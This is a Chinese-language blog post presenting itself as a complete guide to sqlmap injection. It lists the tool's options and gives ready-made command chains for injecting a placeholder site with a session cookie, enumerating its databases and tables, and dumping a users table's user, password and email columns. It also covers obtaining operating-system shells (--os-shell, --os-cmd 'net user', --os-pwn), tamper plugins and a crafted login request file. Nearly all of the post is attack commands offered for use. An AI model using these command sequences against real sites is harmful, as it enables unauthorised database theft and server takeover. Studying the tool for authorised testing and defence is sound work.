sqlmap-注入方法大全

【sqlmap】【选项】【参数】

【选项】

-b  //获取banner

-p  //指定测试参数

-g  //从google中获取url,-g “inurl:aspx?id=1”

--gpage=GOOGLEPAGE  //指定Google页码

--union-check  //是否支持union注入

--union-cols  //union查询记录

--union-test  //union语句测试

--union-use  //采用union注入

--proxy  //代理注入

--threads  //多线程

--user-agent  //自定义user-agent

--referer=REFERER  //http  REFERER头

--proxy=PROXY  //使用代理

--string  //指定关键字

--tor  //创建tor的匿名网络

--predict-output  //常见的查询输出预测

--keep-alive  //使用持久https连接

--eval=EVALCODE  //使用http参数污染

--a,all  //查询所有

--hostname  //主机名

--is-dba  //是否是管理员权限

--users  //枚举所有用户

--passwords  //枚举所有的用户密码

--roles  //枚举所有的用户角色

--schema  //枚举DBMS模式

--count  //检索所有条目数

--dump  //转存DBMS数据库表项目,需要制定字段名称,列名称

--dumo-all  //转存DBMS数据库所有的表项目

--search  //搜索,列,表,数据库名称

--exclude-sysdbs  //在枚举表时排除系统数据库

--sql-query=query  //执行sql语句

--file-read=RFILE  //读取操作

--file-write=WFILE  //写操作

--file-dest=DFILE  //绝对路劲写入

--reg-read  //读取一个windows注册表项值

--reg-add  //添加一个windows注册表项值数据

--reg-del  //删除一个windows注册表项值数据

--reg-key=REGKEY  //windows注册表键

--reg-value=REGKEY  //windows注册表值

--reg-data=REGKEY  //windows注册表的键值项数据

--reg-type=REGTYPE  //windows注册表键值项类型

--dump-format=DUMP  //转存数据格式csv=default,html或sqlite

--hex  //使用十六进制数据检测功能

--output-dir=ODIR  //自定义输出的目录路劲

--update  //更新sqlmap

--purge-output  //安全删除所有内容的输出目录

--check-waf  //启发式检查WAF/IPS/IDS保护

--os-pwn  //反弹shell

--cookie=COOKIE  //指定html   cookie 预登录

--random-agent  //使用随机选定的User-agent头

--tamper-TAMPER  //使用sqlmap插件

--level  //测试等级1-5默认default=1

 

 

===【携带cookie进行注入】===

sqlmap -u “http://www.aaaa.com/xxxxx/gorepay-projectID_10-repayPlanID_46-periodNumber_2.html” --cookie=“_fmdata=0E97D79D747B983006FB09DAD60A349E7C023A44A3532E46E3AFB9936C4D45DB80647EFE905132167DAE9081F89D13AA86DADEDF8E69E484;” --dbs

【参数--dbs代表数据库】

sqlmap -u “http://www.aaaa.com/xxxxx/gorepay-projectID_10-repayPlanID_46-periodNumber_2.html” --cookie=“_fmdata=0E97D79D747B983006FB09DAD60A349E7C023A44A3532E46E3AFB9936C4D45DB80647EFE905132167DAE9081F89D13AA86DADEDF8E69E484;” ----current-db

【参数--current-db代表当前应用程序所用数据库】

sqlmap -u “http://www.aaaa.com/xxxxx/gorepay-projectID_10-repayPlanID_46-periodNumber_2.html” --cookie=“_fmdata=0E97D79D747B983006FB09DAD60A349E7C023A44A3532E46E3AFB9936C4D45DB80647EFE905132167DAE9081F89D13AA86DADEDF8E69E484;” --tables -D "bbs"

【参数--tables代表数据表,-D "bbs"代表数据库】

sqlmap -u “http://www.aaaa.com/xxxxx/gorepay-projectID_10-repayPlanID_46-periodNumber_2.html” --cookie=“_fmdata=0E97D79D747B983006FB09DAD60A349E7C023A44A3532E46E3AFB9936C4D45DB80647EFE905132167DAE9081F89D13AA86DADEDF8E69E484;” --columns -T "users" -D "bbs"

【参数--columns显示表中的所有字段名称,-T "users"代表数据表 -D "bbs"代表数据库】

sqlmap -u “http://www.aaaa.com/xxxxx/gorepay-projectID_10-repayPlanID_46-periodNumber_2.html” --cookie=“_fmdata=0E97D79D747B983006FB09DAD60A349E7C023A44A3532E46E3AFB9936C4D45DB80647EFE905132167DAE9081F89D13AA86DADEDF8E69E484;” --dump -C "user,password,email" -T "users" -D "bbs"

【参数--dump显示字段内容,-C "users,password,email"读取这三个指定的字段内容-T "users"代表数据表,也可以用"[users]",因为他代表关键字,-D "bbs"代表数据库】

【参数】

=============

【测试注入点权限】

-- prilvieges  //测试所有用户的权限

--prilvieges -U as  //测试sa用户权限

【执行shell命令】

--os-cmd="net user"  //执行net user命令

--os-shell  //系统交互式 的shell

【获取当前数据库的名称】

--current-db  //

【执行sql命令】

--sql-shell  //返回sql交互的shell,可以执行sql语句,用户权限大的话可以增删改查

--sql-query=“sql”

【post提交方式】

--data "post参数"

【显示详细的等级】

--dbs -v 1

【-v参数包含以下7个等级】

0  只显示python的回溯,错误和关键消息

1  显示信息和警告消息

2  显示调试消息

3  有效载荷注入

4  显示http请求

5  显示http响应头

6  显示http响应页面内容

7  注入http请求

- r head.txt

【head.txt内容如下】

POST /login.php HTTP/1.1

HOST:www.xxx.xxx

User-Agent:xxxxxxxx

username=xxxxxx*&password=xxxxx

注意那个username=xxxxxx*星号,不要忘了,也可以不添加

 【使用sqlmap插件进行注入】

【默认插件在sqlmap-master/tamper/下】

-tamper "指定的插件"

 

posted @ 2020-06-06 17:07  三冬三夏  阅读(928)  评论(0编辑  收藏  举报